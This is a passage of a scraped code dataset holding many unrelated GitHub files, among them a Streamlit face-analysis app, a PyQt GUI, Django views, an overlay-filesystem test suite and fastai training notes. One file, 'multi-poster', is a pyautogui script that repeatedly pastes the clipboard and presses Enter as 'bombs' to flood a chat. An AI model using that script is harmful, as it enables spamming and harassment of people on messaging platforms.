type=\"jpg\")\n\n if uploaded_file is not None:\n file_bytes = np.asarray(bytearray(uploaded_file.read()), dtype=np.uint8)\n image = cv2.imdecode(file_bytes, 1)\n\n st.image(image, caption=\"Before\", use_column_width=True, channels=\"BGR\")\n st.write(\"\")\n st.write(\"Detecting faces...\")\n\n outputJson = gag.get_age_gender(image, returnJson=True)\n if len(outputJson) > 0:\n print(outputJson)\n outputImg = gag.get_age_gender(image)\n st.image(outputImg, caption=\"After\", use_column_width=True, channels=\"BGR\")\n else:\n st.write(\"No faces detected\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"devProgst/gag-webapp","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43556925385","text":"class Person:\n def __init__(self, name, age, phone_number):\n self.NAME = name\n self.AGE = int(age)\n self.PHONE_NUMBER = phone_number\n \n def __str__(self):\n return \"Person({name}, {age}, {phone})\".format(name = self.NAME,age = self.AGE,phone= self.PHONE_NUMBER)\n\n# Used to store the records in the flat file\npeople = []\n\n# The flat file is just a .txt file.\nwith open(\"record.txt\", 'r') as records:\n header = next(records) # column names\n for record in records:\n # Unpacks the contents of the list (name, age, phone#)\n #returned by split to \n # the constructor, __init__, of the Person class.\n p = Person(*record.split(\" \"))\n people.append(p)\n\nfor person in people:\n print(person)\n","repo_name":"geniusgoobey/Workspace","sub_path":"script_test/Lecture5/flatfile.py","file_name":"flatfile.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37671641258","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n\n def initUI(self):\n self.statusBar() #底部状态栏\n self.EditIcon() #修改图标和作者\n self.layout() #功能界面布局\n\n\n #主菜单\n menubar = self.menuBar()\n fileMenu = menubar.addMenu('File') #File\n EditMenu = menubar.addMenu('Edit') #Edit\n ViewMenu = menubar.addMenu('View') #View\n HelpMenu = menubar.addMenu('Help') #Help\n\n #File子菜单\n Open_fileMenu = QAction('Open', self)\n Open_dir_fileMenu = QAction('Open dir', self)\n change_Save_dir_fileMenu = QAction('change Save dir', self)\n Save_fileMenu = QAction('Save', self)\n Close_fileMenu = QAction('Close', self)\n #Quit_fileMenu = QAction('Quit', self)\n\n fileMenu.addAction(Open_fileMenu)\n #self.Open_fileMenu(fileMenu) #Open_fileMenu 功能\n\n fileMenu.addAction(Open_dir_fileMenu)\n fileMenu.addAction(change_Save_dir_fileMenu)\n fileMenu.addAction(Save_fileMenu)\n fileMenu.addAction(Close_fileMenu)\n\n #fileMenu.addAction(Quit_fileMenu)\n self.Quit_fileMenu(fileMenu) #Quit_fileMenu 功能\n\n # Edit子菜单\n # View子菜单\n # Help子菜单\n\n\n #self.toolbar() #界面上其余功能\n\n self.center()#主窗口居中\n self.show()\n\n #######################################子菜单功能(File)##############################\n # File子菜单\n def Open_fileMenu(self,fileMenu): # 打开\n openAct = QAction(QIcon('image/file.png'), '&Open', self)\n openAct.setShortcut('Ctrl+O') #快捷键Ctrl+O退打开文件\n openAct.setStatusTip('Open image or label file')\n openAct.triggered.connect(qApp.open)\n fileMenu.addAction(openAct)\n\n def Quit_fileMenu(self,fileMenu): # 退出\n exitAct = QAction(QIcon('image/quit.png'), '&Quit', self)\n exitAct.setShortcut('Ctrl+Q') #快捷键Ctrl+Q退出应用\n exitAct.setStatusTip('Exit application')\n exitAct.triggered.connect(qApp.quit)\n fileMenu.addAction(exitAct)\n\n\n # Edit子菜单\n # View子菜单\n # Help子菜单\n\n ########################################全局功能和设计####################################\n def layout(self):\n okButton = QPushButton(\"OK\") # 创建按钮\n cancelButton = QPushButton(\"Cancel\")\n\n hbox = QHBoxLayout()\n hbox.addStretch(1) # 加弹性空间 会将按钮挤到窗口的右边。\n hbox.addWidget(okButton)\n hbox.addWidget(cancelButton)\n\n # 为了布局需要,我们把这个水平布局放到了一个垂直布局盒里面\n vbox = QVBoxLayout()\n vbox.addStretch(1) # 弹性元素会把水平布局挤到窗口的下边\n vbox.addLayout(hbox)\n\n self.setLayout(vbox)\n def toolbar(self):\n exitAct = QAction(QIcon('image/file.png'), 'Exit', self)\n exitAct.setShortcut('Ctrl+Q')\n exitAct.triggered.connect(qApp.quit)\n self.toolbar = self.addToolBar('Exit')\n\n self.toolbar.addAction(exitAct)\n\n\n # def mouseMoveEvent(self, e):\n # #e代表了事件对象。里面有我们触发事件(鼠标移动)的事件对象。\n # # x()和y()方法得到鼠标的x和y坐标点,然后拼成字符串输出到QLabel组件里。\n #\n # x = e.x()\n # y = e.y()\n #\n # text = \"x: {0}, y: {1}\".format(x, y)\n # self.label.setText(text)\n\n\n\n def EditIcon(self): #修改图标和作者\n self.setWindowTitle('Icon')\n self.setWindowIcon(QIcon('image/mask.png'))\n self.setWindowTitle('LabelMask')\n\n def center(self): #主窗口居中和大小\n qr = self.frameGeometry() # 获得主窗口所在的框架。\n cp = QDesktopWidget().availableGeometry().center() # 获取显示器的分辨率,然后得到屏幕中间点的位置。\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n self.resize(600, 500) # 调整大小\n\n def closeEvent(self, event): #关闭时弹窗确认\n reply = QMessageBox.question(self, 'Message',\n \"Are you sure to quit?\", QMessageBox.Yes |\n QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n def contextMenuEvent(self, event): #全局右击菜单\n\n cmenu = QMenu(self)\n\n newAct = cmenu.addAction(\"New\")\n opnAct = cmenu.addAction(\"Open\")\n quitAct = cmenu.addAction(\"Quit\")\n action = cmenu.exec_(self.mapToGlobal(event.pos()))\n\n if action == quitAct:\n qApp.quit()\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n ex = MainWindow()\n sys.exit(app.exec_())","repo_name":"869019048/Pyqt","sub_path":"Mask/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41036131853","text":"# Launches map from the browser using contents from the command line\nimport webbrowser, sys\n\nif len(sys.argv) > 1:\n # Get address from command line\n address = ' '.join(sys.argv[1:])\n\nprint(address)\nwebbrowser.open('https://www.google.com/maps/place/'+address)\n\n\n\n","repo_name":"Pythonic2023/Project","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29826417655","text":"from datetime import datetime\n\nfrom transcriber import Transcriber\nfrom recorder import AudioRecorder\nfrom summarizer import Summarizer\n\nclass MindBank:\n def __init__(self, api_key_file=None):\n print(\"INITIALIZING MIND BANK\")\n self.transcriber = Transcriber()\n self.recorder = AudioRecorder()\n self.summarizer = Summarizer(api_key_file=api_key_file)\n print(\"MIND BANK INITIALIZED\")\n\n def record_conversation(self):\n \"\"\"\n Records a conversation and returns the transcription\n \"\"\"\n # set filename as \"conversation\" + timestamp\n datetime_str = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n filename = \"conversation_\" + datetime_str + \".wav\"\n self.recorder.set_filename(filename)\n self.recorder.start_recording()\n input(\"Press enter to stop recording...\")\n self.recorder.stop_recording()\n\n def transcribe_conversation(self, conversation_filename):\n \"\"\"\n Transcribes a conversation and returns the transcription\n Output: transcription (dict): [\"text\"] contains the transcription\n \"\"\"\n print(\" \")\n print(f\"Transcribing {conversation_filename}...\")\n transcription = self.transcriber.transcribe_audio_file(conversation_filename)\n print(\"Transcription complete!\")\n print(\" \")\n return transcription\n \n def summarize_text(self, text):\n \"\"\"\n Summarizes text and returns the summary\n Input: text (str): text to summarize\n Output: response (dict): response from the OpenAI API\n [\"choices\"][0][\"text\"] contains the summary\n \"\"\"\n print(\" \")\n print(\"Summarizing text...\")\n summary = self.summarizer.summarize_text(text)\n print(\"Summary complete!\")\n print(\" \")\n return summary\n \n def print_response(self, response):\n \"\"\"\n Prints the summary from the response\n Input: response (dict): response from the OpenAI API\n \"\"\"\n self.summarizer.print_response(response)\n\n def write_response_to_file(self, response, filename):\n \"\"\"\n Writes the summary from the response to a file\n Input: response (dict): response from the OpenAI API\n Input: filename (str): name of the file to write to\n \"\"\"\n self.summarizer.write_response_to_file(response, filename)\n \nif __name__ == '__main__':\n print(\"M I N D B A N K\")\n print(\"Don't run me like this! Run me from main.py instead!\")\n # import argparse\n # import sys\n # # parse arguments\n # parser = argparse.ArgumentParser(description=\"MindBank\")\n # parser.add_argument(\"--token\", help=\"path to Chat GPT token\")\n\n # args = parser.parse_args()\n # if not args.token:\n # print(\"mindbank::__main__: Please specify a token using --token\")\n # sys.exit()\n\n # # main\n # mindbank = MindBank()\n # summarizer = Summarizer(args.token)\n # try:\n # while True:\n # if not input(\"Press enter to record a conversation...\"):\n # mindbank.record_conversation()\n # if not input(\"Press enter to transcribe the recording...\"):\n # conversation_filename = mindbank.recorder.filename\n # transcription = mindbank.transcribe_conversation(conversation_filename)\n # text = transcription[\"text\"]\n # summary = summarizer.summarize_text(text)\n # except KeyboardInterrupt:\n # pass\n","repo_name":"mlamsey/mindbank","sub_path":"mindbank/mindbank.py","file_name":"mindbank.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"69834200837","text":"import tensorflow as tf\nfrom tensorflow import keras as keras\nfrom keras import layers as tfl\nfrom keras import backend as K\n\ndef decoder(text, image):\n image = tfl.MultiHeadAttention(num_heads=18, key_dim=1024, dropout=0.3)(image, image)\n text = tfl.Dense(1024, activation='relu')(text)\n \n combined = tf.matmul(image, text, transpose_b=True)\n combined_features = tf.matmul(combined, text)\n print(tf.shape(combined_features))\n X = tfl.LayerNormalization()(combined_features)\n X = tfl.MultiHeadAttention(num_heads=20, key_dim=1024, dropout=0.3)(X, X)\n \n # Apply a final Conv2DTranspose layer if necessary\n X_upsampled = tfl.Conv2DTranspose(512, (3, 3), strides=(2, 2), padding='same', activation='relu')(X)\n X_upsampled = tfl.Conv2DTranspose(256, (3, 3), strides=(2, 2), padding='same', activation='relu')(X_upsampled)\n X_upsampled = tfl.Conv2DTranspose(128, (3, 3), strides=(2, 2), padding='same', activation='relu')(X_upsampled)\n output = tfl.Conv2DTranspose(1, (3, 3), strides=(2, 2), padding='same', activation='sigmoid')(X_upsampled)\n \n return output\n ","repo_name":"Abrehg/SegmentAnythingClone","sub_path":"Decoder.py","file_name":"Decoder.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"2861712303","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^advert$', views.advert_method, name='advert_method'),\n url(r'^versionlast$', views.version_last, name='last_version'),\n url(r'^getword', views.getword, name='last_version'),\n url(r'^login', views.login, name='adapi_login'),\n url(r'^package', views.package, name='adapi_package'),\n url(r'^keywords', views.keywords, name='keyword'),\n url(r'^binding', views.binding, name='binding'),\n url(r'^clientstore', views.clientstore, name='clientstore'),\n url(r'^stat', views.stat, name='stat'),\n url(r'^getdata', views.getdata, name='get_data'),\n url(r'^getshop', views.getshop, name='getshop'),\n]","repo_name":"vanxv/zss_python_web","sub_path":"adapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"71479324678","text":"from django.db import models\nfrom django.shortcuts import render\nfrom .models import Patient, Appointment\n\ndef indexPageView(request) :\n\n return render(request, 'reservation/index.html')\n\ndef loginPageView(req) :\n input = req.GET['search']\n\n try: \n result = Patient.objects.get(byu_id = input)\n except :\n newP = Patient()\n newP.byu_id = input\n newP.save()\n return render(req, 'reservation/login.html')\n\ndef addPageView(request) :\n data = Appointment.objects.all()\n\n context = {\n \"appt\" : data\n }\n\n return render(request, 'reservation/add.html', context)","repo_name":"Henry-Cho/403Project_reservation","sub_path":"reservationProject/reservation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71608512518","text":"#!/usr/bin/env python3.7\n\nimport os\nimport sys\nimport subprocess\nimport tempfile\nimport traceback\nfrom pathlib import Path\nfrom typing import Callable, Mapping, NamedTuple, Union\n\nimport tap\n\nSCRIPT_DIR = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestEnv(NamedTuple):\n lower: Path\n upper: Path\n env: Mapping[str, str]\n\n def overlay_read(self, relative: str) -> subprocess.CompletedProcess:\n return subprocess.run(\n [\"cat\", self.lower / relative], env=self.env, stdout=subprocess.PIPE, stderr=None\n )\n\n def overlay_write(self, relative: str, contents: bytes) -> subprocess.CompletedProcess:\n return subprocess.run(\n [\"tee\", self.lower / relative], input=contents, env=self.env, stdout=subprocess.PIPE, stderr=None\n )\n\n\n\ndef read_all(path: Union[str, Path]) -> bytes:\n with open(path, mode=\"rb\") as file:\n return file.read()\n\n\ndef can_read_lower(env: TestEnv) -> None:\n ret = env.overlay_read(\"foo.txt\")\n assert ret.returncode == 0\n assert ret.stdout == read_all(env.lower / \"foo.txt\")\n\n ret = env.overlay_read(\"bar/bar.txt\")\n assert ret.returncode == 0\n assert ret.stdout == read_all(env.lower / \"bar\" / \"bar.txt\")\n\n ret = env.overlay_read(\"bar/baz.txt\")\n assert ret.returncode != 0\n\n\ndef redirect_lower_writes_existing(env: TestEnv) -> None:\n ret = env.overlay_read(\"foo.txt\")\n assert ret.returncode == 0\n assert ret.stdout == read_all(env.lower / \"foo.txt\")\n\n ret = env.overlay_write(\"foo.txt\", b\"Overwrite\")\n assert ret.returncode == 0\n\n ret = env.overlay_read(\"foo.txt\")\n assert ret.returncode == 0\n assert ret.stdout == b\"Overwrite\"\n\n\ndef redirect_lower_writes_new(env: TestEnv) -> None:\n ret = env.overlay_write(\"new_file.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = env.overlay_write(\"new_dir/new_file.txt\", b\"It is new\")\n assert ret.returncode != 0\n\n ret = env.overlay_read(\"new_file.txt\")\n assert ret.returncode == 0\n assert ret.stdout == b\"It is new\"\n\n\ndef redirect_mkdir(env: TestEnv) -> None:\n ret = subprocess.run(\n [\"mkdir\", env.lower / \"new_dir\"],\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n ret = env.overlay_write(\"new_dir/new_file.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = env.overlay_read(\"new_dir/new_file.txt\")\n assert ret.returncode == 0\n assert ret.stdout == b\"It is new\"\n\n\ndef redirect_readdir(env: TestEnv) -> None:\n ret = subprocess.run(\n [\"ls\", env.lower / \"bar\"], env=env.env, stdout=subprocess.PIPE, stderr=None,\n )\n assert ret.returncode == 0\n assert ret.stdout.splitlines() == [b\"bar.txt\"]\n\n ret = env.overlay_write(\"bar/baz.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"ls\", env.lower / \"bar\"], env=env.env, stdout=subprocess.PIPE, stderr=None,\n )\n assert ret.returncode == 0\n assert sorted(ret.stdout.splitlines()) == [b\"bar.txt\", b\"baz.txt\"]\n\n ret = env.overlay_write(\"bar/bar.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"ls\", env.lower / \"bar\"], env=env.env, stdout=subprocess.PIPE, stderr=None,\n )\n assert ret.returncode == 0\n tap.diagnostic(str(ret.stdout.splitlines()))\n assert sorted(ret.stdout.splitlines()) == [b\"bar.txt\", b\"baz.txt\"]\n\n\ndef redirect_stat(env: TestEnv) -> None:\n ret = env.overlay_write(\"new_file.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"stat\", env.lower / \"foo.txt\"],\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"stat\", env.lower / \"new_file.txt\"],\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n\ndef redirect_unlink(env: TestEnv) -> None:\n ret = env.overlay_write(\"new_file.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = env.overlay_write(\"foo.txt\", b\"It is new\")\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"unlink\", env.lower / \"foo.txt\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"unlink\", env.lower / \"new_file.txt\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n # Deletion should fail if it hits the underlying directory\n ret = subprocess.run(\n [\"unlink\", env.lower / \"foo.txt\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode != 0\n\n\ndef redirect_rmdir(env: TestEnv) -> None:\n ret = subprocess.run(\n [\"rmdir\", env.lower / \"new_dir\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode != 0\n\n ret = subprocess.run(\n [\"mkdir\", env.lower / \"new_dir\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n ret = subprocess.run(\n [\"rmdir\", env.lower / \"new_dir\"],\n input=b\"n\\n\",\n env=env.env,\n stdout=subprocess.PIPE,\n stderr=None,\n )\n assert ret.returncode == 0\n\n\ndef run_test(test: Callable[[TestEnv], None]) -> None:\n with tempfile.TemporaryDirectory() as upper_dir:\n env = os.environ.copy()\n lower_dir = f\"{SCRIPT_DIR}/lower\"\n env[\"LIBOVERLAY_LOWER_DIR\"] = lower_dir\n env[\"LIBOVERLAY_UPPER_DIR\"] = upper_dir\n env[\"LD_PRELOAD\"] = os.path.realpath(\n f\"{SCRIPT_DIR}/../target/debug/liboverlay.so\"\n )\n\n try:\n test(TestEnv(upper=Path(upper_dir), lower=Path(lower_dir), env=env))\n except:\n tap.not_ok(f\"{test.__name__}\")\n for line in traceback.format_exc().splitlines():\n tap.diagnostic(line)\n else:\n tap.ok(f\"{test.__name__}\")\n\n\ndef run():\n tests = [\n can_read_lower,\n redirect_lower_writes_existing,\n redirect_lower_writes_new,\n redirect_mkdir,\n redirect_readdir,\n redirect_stat,\n redirect_unlink,\n redirect_rmdir,\n ]\n\n tap.plan(len(tests))\n for test in tests:\n run_test(test)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"fatho/liboverlay","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26192550527","text":"from repositorio import Repositorio\nfrom ropa import Ropa\nfrom calzado import Calzado\n\nclass RepositorioProductos(Repositorio):\n\t#Metodos para CRUD en la BDD.\n\n\tdef get_one(self, codigo):\n\t\t'''Recibe un codigo de prenda (número entero). Retorna un objeto Ropa. Si no\n\t\tlo encuentra, retorna None.'''\n\t\tconsulta = \"SELECT codigo, talle, precio FROM prendas WHERE codigo = ?\"\n\t\tresult = self.cursor.execute(consulta, [codigo]).fetchone()\n\n\t\tif result == None:\n\t\t\treturn None\n\t\telse:\n\t\t\treturn Ropa(result[1], result[2], result[0])\n\n\tdef get_all(self):\n\t\t'''Retorna todas los prendas que haya almacenadas en el BD'''\n\t\tconsulta = \"SELECT codigo, talle, precio, producto, tipo FROM prendas\"\n\t\tresult = self.cursor.execute(consulta).fetchall()\n\n\t\tlistaDeProductos = []\n\n\t\tfor unResultado in result:\n\t\t\t\n\t\t\tif unResultado[4] is not None:\n\t\t\t\tlistaDeProductos.append(\n\t\t\t\tCalzado(unResultado[1], unResultado[2], unResultado[0], unResultado[3], unResultado[4])\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tlistaDeProductos.append(\n\t\t\t\t\tRopa(unResultado[1], unResultado[2], unResultado[0], unResultado[3])\n\t\t\t\t\t)\n\t\treturn listaDeProductos\n\n\tdef store(self, prenda):\n\t\t'''Recibe un objeto prenda y lo almacena en el Base de Datos\n\t\tEn caso de éxito, retorna el codigo de el prenda, número generado por el base\n\t\tde datos. En caso de fracaso, retorna 0 (cero).'''\n\t\tif hasattr(prenda, \"tipo\"):\n\t\t\ttry:\n\t\t\t\tquery = \"INSERT INTO prendas (codigo, talle, precio, producto, tipo) VALUES (?, ?, ?, ?, ?)\"\n\t\t\t\tresult = self.cursor.execute(query, [prenda.codigo, prenda.talle, prenda.precio, prenda.producto, prenda.tipo])\n\t\t\t\n\n\t\t\t\tself.bd.commit()\n\t\t\t\treturn prenda.codigo\n\t\t\texcept:\n\t\t\t\tself.bd.rollback()\n\t\t\t\t\n\t\t\t\treturn 0\n\t\telse:\n\t\t\ttry:\n\t\t\t\tquery = \"INSERT INTO prendas (codigo, talle, precio, producto) VALUES (?, ?, ?, ?)\"\n\t\t\t\tresult = self.cursor.execute(query, [prenda.codigo, prenda.talle, prenda.precio, prenda.producto])\n\t\t\t\n\n\t\t\t\tself.bd.commit()\n\t\t\t\treturn prenda.codigo\n\t\t\texcept:\n\t\t\t\tself.bd.rollback()\n\t\t\t\treturn 0\n\t\t\n\tdef delete(self, prenda):\n\t\t'''Recibe un objeto Ropa y lo elimina de el Base de Datos.\n\t\tRetorna True si tuvo éxito, False de lo contrario.'''\n\t\ttry:\n\t\t\tquery = \"DELETE FROM prendas WHERE codigo = ?\"\n\t\t\tself.cursor.execute(query, [prenda.codigo])\n\t\t\tc = self.cursor.rowcount\n\t\t\tif c == 0:\n\t\t\t\tself.bd.rollback()\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\tself.bd.commit()\n\t\t\t\treturn True\n\t\texcept:\n\t\t\tself.bd.rollback()\n\t\t\treturn False\n\n\tdef update(self, prenda):\n\t\t'''Recibe un objeto prenda y actualiza sus datos en el base de datos\n\t\t(no se puede actualizar el codigo de el prenda, pero sí el resto de sus\n\t\tdatos). Retorna True si tuvo éxito, False de lo contrario.'''\n\n\t\t# Aca diferencio si tiene el atributo TIPO, xq son dos querys distintas\n\t\tif hasattr(prenda, \"tipo\"):\n\t\t\ttry:\n\t\t\t\tquery = \"UPDATE prendas SET talle = ?, precio = ?, producto = ?, tipo = ? WHERE codigo = ?\"\n\t\t\t\tresult = self.cursor.execute(query, [prenda.talle, prenda.precio, prenda.producto, prenda.tipo, prenda.codigo])\n\t\t\t\tif result.rowcount == 0:\n\t\t\t\t\tself.bd.rollback()\n\t\t\t\t\treturn False\n\t\t\t\telse:\n\t\t\t\t\tself.bd.commit()\n\t\t\t\t\treturn True\n\t\t\texcept:\n\t\t\t\tself.bd.rollback()\n\t\t\t\treturn False\n\t\telse:\n\t\t\ttry:\n\t\t\t\tquery = \"UPDATE prendas SET talle = ?, precio = ?, producto = ? WHERE codigo = ?\"\n\t\t\t\tresult = self.cursor.execute(query, [prenda.talle, prenda.precio, prenda.producto, prenda.codigo])\n\t\t\t\tif result.rowcount == 0:\n\t\t\t\t\tself.bd.rollback()\n\t\t\t\t\treturn False\n\t\t\t\telse:\n\t\t\t\t\tself.bd.commit()\n\t\t\t\t\treturn True\n\t\t\texcept:\n\t\t\t\tself.bd.rollback()\n\t\t\t\treturn False\n","repo_name":"Rgg1889/Trabajo-Final-GS2_-Garcia_Santoyo","sub_path":"repositorioProductos.py","file_name":"repositorioProductos.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73276471876","text":"from pynestml.cocos.co_co import CoCo\nfrom pynestml.utils.logger import LoggingLevel, Logger\nfrom pynestml.utils.messages import Messages\nfrom pynestml.visitors.ast_visitor import ASTVisitor\n\n\nclass CoCoOdeFunctionsHaveConsistentUnits(CoCo):\n \"\"\"\n This coco ensures that whenever an ODE function is defined, the physical unit of the left-hand side variable matches that of the right-hand side expression.\n \"\"\"\n\n @classmethod\n def check_co_co(cls, node):\n \"\"\"\n Ensures the coco for the handed over neuron.\n :param node: a single neuron instance.\n :type node: ast_neuron\n \"\"\"\n node.accept(OdeFunctionConsistentUnitsVisitor())\n\n\nclass OdeFunctionConsistentUnitsVisitor(ASTVisitor):\n\n def visit_ode_function(self, node):\n \"\"\"\n Checks the coco.\n :param node: A single ode equation.\n :type node: ast_ode_equation\n \"\"\"\n declared_type = node.get_data_type().type_symbol\n expression_type = node.get_expression().type\n if not expression_type.is_castable_to(declared_type):\n code, message = Messages.get_ode_function_needs_consistent_units(\n node.get_variable_name(), declared_type, expression_type)\n Logger.log_message(error_position=node.get_source_position(), code=code,\n message=message, log_level=LoggingLevel.ERROR)\n","repo_name":"nest/nestml","sub_path":"pynestml/cocos/co_co_ode_functions_have_consistent_units.py","file_name":"co_co_ode_functions_have_consistent_units.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"29418893421","text":"#advinhação de número com randomização\n\n\nfrom random import randint\nfrom time import sleep\nr = 'rep'\ncont = 1\nprint('\\033[33mVou pensar em um número de 1 a 10, tente adivinhar!')\nwhile r == 'rep':\n sort = randint(1, 10)\n esc = int(input('Digíte o número: '))\n print('\\033[33mprocessando...')\n sleep(1)\n if sort != esc:\n print('\\033[31mErrouuu.. tente novamente!')\n cont += 1\n else:\n print(f'\\033[32mParabéns, após {cont} tentativas você venceu!')\n r = ''\n","repo_name":"DanielKulique/initial_exercises_python","sub_path":"ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73687963397","text":"from fastai.vision import *\n\n##urls = Array.from(document.querySelectorAll('.rg_di .rg_meta')).map(el=>JSON.parse(el.textContent).ou);\n## window.open('data:text/csv;charset=utf-8,' + escape(urls.join('\\n')));\n\n## 1.training loss less than validation loss : a. not trainging enough b. learning rate too low or number of epoch too few\n\n## 2.LR too high Or too many epoches will make validation loss extremely high\n# Reason : take a really long time to train, it's get too many looks at images, \"may\" overfit\n# Any well tarined model will have training loss < validation loss\n## 3. Error rate goes up indicate overfiting (only thing that shows overfiting)\n\nfolder = 'happy'\npath = Path('data/emotion')\ndest = path/folder\ndest.mkdir(parents=True, exist_ok=True)\n\nfile = 'urls_happy.txt'\nclasses = ['anger', 'sad', 'happy','surprise']\ndownload_images(path/file, dest, max_pics=200)\n\nfor c in classes:\n print(c)\n verify_images(path/c, delete=False, max_size=500)\n\nnp.random.seed(42)\ndata = ImageDataBunch.from_folder(path, train=\".\", valid_pct=0.2,\n ds_tfms=get_transforms(), size=224, num_workers=4).normalize(imagenet_stats)\n#data.classes\n#data.show_batch(rows=3, figsize=(7,8))\n#data.classes, data.c, len(data.train_ds), len(data.valid_ds)\n\n#Training\nlearn = create_cnn(data, models.resnet34, metrics=error_rate)\nlearn.fit_one_cycle(8)\nlearn.save('stage-1')\nlearn.unfreeze()\nlearn.lr_find()\nlearn.recorder.plot()\nlearn.fit_one_cycle(8, max_lr=slice(3e-3,1e-2))\nlearn.save('stage-2')\n\n#Interpretation\nlearn.load('stage-2')\ninterp = ClassificationInterpretation.from_learner(learn)\ninterp.plot_confusion_matrix()\n\n#Data cleaning\n","repo_name":"Tonysssu/fastaiproject","sub_path":"fastai_2.py","file_name":"fastai_2.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14118506884","text":"import time\nimport pyautogui as pyag\n\n\ndef post(k):\n for i in range(k):\n pyag.hotkey(\"ctrl\",\"v\")\n pyag.typewrite(\"\\n\")\n\n\ndef main():\n print(\"Number of bombs:\", end=\"\")\n\n k = int(input())\n\n for i in range(5):\n print(5-i)\n time.sleep(1)\n\n post(k)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"0uts1de-v/multi-poster","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33319522537","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport scipy \nimport scipy.optimize as opt\nimport scipy.integrate as integrate\nfrom scipy.optimize import curve_fit\n\ndef f_T(x):\n return np.sin(np.exp(0.2*x))\n\ndef fi_1(x):\n return np.sin(x)\ndef fi_2(x):\n return np.sin(4*x)\ndef fi_3(x):\n return np.sin(9*x)\n\nvec_x=[]#точки х\nvec_y=[]#точки y точные\nfor i in range(1,12):\n vec_y.append([f_T(i)])\n vec_x.append(i)\nprint('y точные= ',vec_y)#y точные\nprint('y точные')\nplt.plot(vec_y)\nplt.show()\nsigma_const=0.1 \n\nvec_sigma=[]#сигмы i\nfor i in range(1,12):\n vec_sigma.append([i*sigma_const*0.1])\nprint('sigma=',vec_sigma)#sigma- погрешность\n\n\nvec_y_s=[]#y с погрешостью\ny=[]#тоже но в одномерном списке\nfor i in range(0,11):\n vec_y_s.append([ vec_sigma[i][0] + vec_y[i][0] ])#sigma_const*i*0.1\n y.append( vec_sigma[i][0] + 